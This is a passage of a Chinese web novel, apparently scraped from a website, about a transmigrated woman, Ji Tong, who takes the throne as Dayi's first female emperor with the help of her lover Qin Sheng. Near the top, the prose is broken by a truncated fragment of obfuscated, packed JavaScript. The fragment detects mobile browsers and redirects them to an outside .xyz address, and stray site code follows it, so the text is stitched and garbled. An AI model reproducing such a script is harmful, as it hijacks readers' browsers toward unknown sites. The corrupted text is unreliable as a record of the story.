“哦,居然这么乖。”季桐松开他,轻巧地解开了绳子,摸了摸他的头,“喝吧。” ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334722|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夜色旖旎。 天光初晓,清晨窗台上的红梅都染上了情字的味道。 季桐懒懒地瘫在秦笙的胸膛上,打着哈欠道:“我要再睡会儿。” 秦笙挽着她的发丝,“还疼吗?” “不疼。”季桐翻了个白眼,“才怪。” 这身体实在是太差了。 “系统说这身体是以你自己身体捏成原身样子的,以前没看出你这么虚啊。”她吐槽道。 “不是,我不虚,是这原身太病弱,我…”秦笙努力辩解,“我回去后可以证明给你看。” 他继续道:“你原来也只是身体健康,穿过来后不是变得骁勇善战了吗。” 是系统给的原身数值太高了。 看得出来他很想辩解这个问题了。 季桐笑了笑,“算了,你出去吧,让我再睡会儿。” “不行。” “啊?”季桐瞪他,“你胆子大了?” “不是,昨天你才说过,政变后林明远和季岚言已经整兵来京城了,今天就要到了。”秦笙认真回答。 季桐一听这话又恢复成了刚刚那副懒洋洋的样子,“不用理他们,晚点去见。” “你不打算跟他们周旋了吗?” “累了,你自己看着办吧。” * 当天下午,夕阳渐斜,林明远和季岚言带兵围了京城。 季桐还在御花园赏花。 林明远人都到面前了,季桐瞥了他一眼,“难道你不要你的夫人了吗?” 林明远义正言辞,话语激昂:“夫人会支持我的,大邑几番易主,不利江山社稷,还请顺宁侯谨记顺宁二字!” 气氛剑拔弩张。 话音未落,看着秦笙从另一条石子路走来,林明远皱眉。 秦笙端着一叠梅花酥,没好意思正眼看人:“那个,你们可以回去了。” 林明远:“?” 秦笙捻了一块糕点,递到季桐嘴边,继续道:“明远和舅舅都请回去吧,我没事。” 林明远:“……” 林明远皱着眉,大为不解,挠着头离开了。 一直到出了宫门,骑上马,一旁的季岚言问他怎么回事。 林明远感觉满脑子都是虱子,“他让我们回去。” 季岚言也无语了。 * 三天后的登基大典顺利举行。 一样的一切从简。 只是许多装饰与布置都调整为了女帝的样式。 龙袍也终于是有了女帝的款式,更加合身,更加舒适。 季桐高坐于金龙大殿上,将之前册封的各式称号和亲王又给轮换了一遍,‘季止邪’原来的大将军身份是不适合再还给他了,于是就只保留了豫温侯的封号,大将军的职位还是由季止邪的舅舅季岚言担着。 为了稍微安抚季家,许多封号也没有变,比如傅箐的昭庆公主。 只是原身这母后她并不打算放出来,依旧囚在后宫之中。 以安氏为首的保皇党她着意提拔了一部分,季家的权势被分散了许多,保证了皇权的顺利运行,也是为以后安乐佑的孩子铺路。 群臣参拜,大邑终于迎来了堂堂正正第一位女皇帝。 456在一旁叽叽喳喳:【宿主你怎么能公开性别呢?】 季桐:【为什么不能?】 456:【好像不太符合剧情发展。】 季桐:【没有啊,不是你说的,只要是我来登帝,并且下一位太子名正言顺即可吗?我影响男女主种田了?】 456:【倒是…没有。】 456:【那强制剧情……】 季桐:【你这几天没吃到分?】 456:【吃到了。】 季桐:【你就说有没有包含强制情节吧?】 456:【……】 456回想着老是被捆在龙床上的季止邪,好像没问题,不仅包含了强制,甚至还包含了放置……